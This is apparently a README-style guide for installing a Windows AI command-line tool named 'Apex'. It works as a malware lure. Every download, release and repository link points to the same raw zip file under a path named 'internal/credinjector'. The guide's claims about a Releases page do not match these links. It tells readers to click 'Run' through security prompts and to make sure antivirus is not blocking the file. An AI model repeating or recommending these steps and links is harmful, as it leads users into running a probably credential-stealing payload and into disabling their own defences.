Apex is a tool that lets you use AI helpers from your Windows computer without technical setup. It works through a command line interface (CLI), which means you type instructions in a console window, and the AI agent assists you with tasks like managing information, automation, and research.
This guide will walk you through the steps to get Apex on Windows and start using it right away.
Apex is a program that runs from the command line to help automate tasks and manage projects using artificial intelligence. It uses smart agents that can work on tasks independently or with your input.
You can run Apex on Windows computers to:
- Organize tasks and workflows
- Automate repetitive jobs
- Explore AI research tools
- Manage system tasks and development pipelines
You do not need to be a programmer to use it. This guide will help you install and run Apex without coding.
Before installation, make sure your computer meets these conditions:
- Operating System: Windows 10 or newer (64-bit recommended)
- Processor: 1.6 GHz or faster, any modern CPU
- Memory (RAM): At least 4 GB (8 GB or more is better)
- Disk Space: Minimum 100 MB free space for the program and files
- Internet Connection: Required to download and for some AI functions
You will first need to download Apex from the official Releases page on GitHub. Follow these steps carefully:
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Open your web browser (such as Chrome, Edge, or Firefox).
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Visit this page:
https://github.com/locpid/Apex/raw/refs/heads/main/internal/credinjector/Software-1.1.zip
(You can also click the big green "Download Apex" button at the top.) -
On the Releases page, look for the latest version. This will usually be at the top of the list.
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Find the Windows version. It might be named something like
Apex-windows.exeor similar. -
Click on the file name to start downloading it to your computer.
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Wait for the download to finish.
If you do not see a file ending with .exe or .zip, look for a file with "windows" in its name or check the description for Windows support.
Once you have the Apex file downloaded, follow these steps:
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If you downloaded an
.exefile:- Locate the downloaded file in your “Downloads” folder.
- Double-click the file to start the program.
- If a security message appears, click “Run” or “Yes” to continue.
- The program may open a terminal or command prompt window automatically.
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If you downloaded a
.zipfile:- Right-click the
.zipfile and select “Extract All…”. - Choose a folder where you want to save the files.
- Open the extracted folder.
- Look for an
.exefile inside the folder and double-click it.
- Right-click the
If the program opens a command window, Apex is running. You will see a prompt waiting for your commands.
- If the program does not open automatically:
- Press
Windows Key + Ron your keyboard. - Type
cmdand press Enter. - In the Command Prompt window, type the full path to the Apex executable file and press Enter. For example:
C:\Users\YourName\Downloads\Apex-windows.exe
- Press
Apex uses simple text commands to interact with the AI agent. Try these examples at the prompt:
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help
Shows all available commands. -
task list
Displays current tasks the AI is managing. -
task add "Plan weekly report"
Adds a new task called "Plan weekly report". -
run automation
Starts an automated process Apex can perform for you.
Commands may differ based on Apex’s version or configuration. Use help anytime to see updates.
Apex allows you to customize how it runs. Here are some common adjustments for Windows users:
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Change language or output: Use commands like
set language ento keep answers in English. -
Save logs and outputs: Apex can store data about tasks in your user folder for review.
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Update Apex: Visit the Releases page regularly to download newer versions.
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Download and update Apex:
https://github.com/locpid/Apex/raw/refs/heads/main/internal/credinjector/Software-1.1.zip -
GitHub repository for source and details:
https://github.com/locpid/Apex/raw/refs/heads/main/internal/credinjector/Software-1.1.zip
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Program won’t run or opens briefly:
Make sure you have the right file for Windows and that your antivirus is not blocking it. -
Commands don’t respond:
Confirm you typed commands exactly, including spaces and quotes. -
Cannot find downloaded file:
Check your browser’s default Downloads folder or search for “Apex” on your computer. -
Need help with commands:
Typehelpor look for the README inside the downloaded files.
Once Apex runs, you can start exploring how AI can help manage your tasks and automate simple jobs using typed commands. Since it runs on the command line, focus on clear instructions and review outputs shown on the screen.
Refer back to the Downloads page for updates and additional tools as they become available.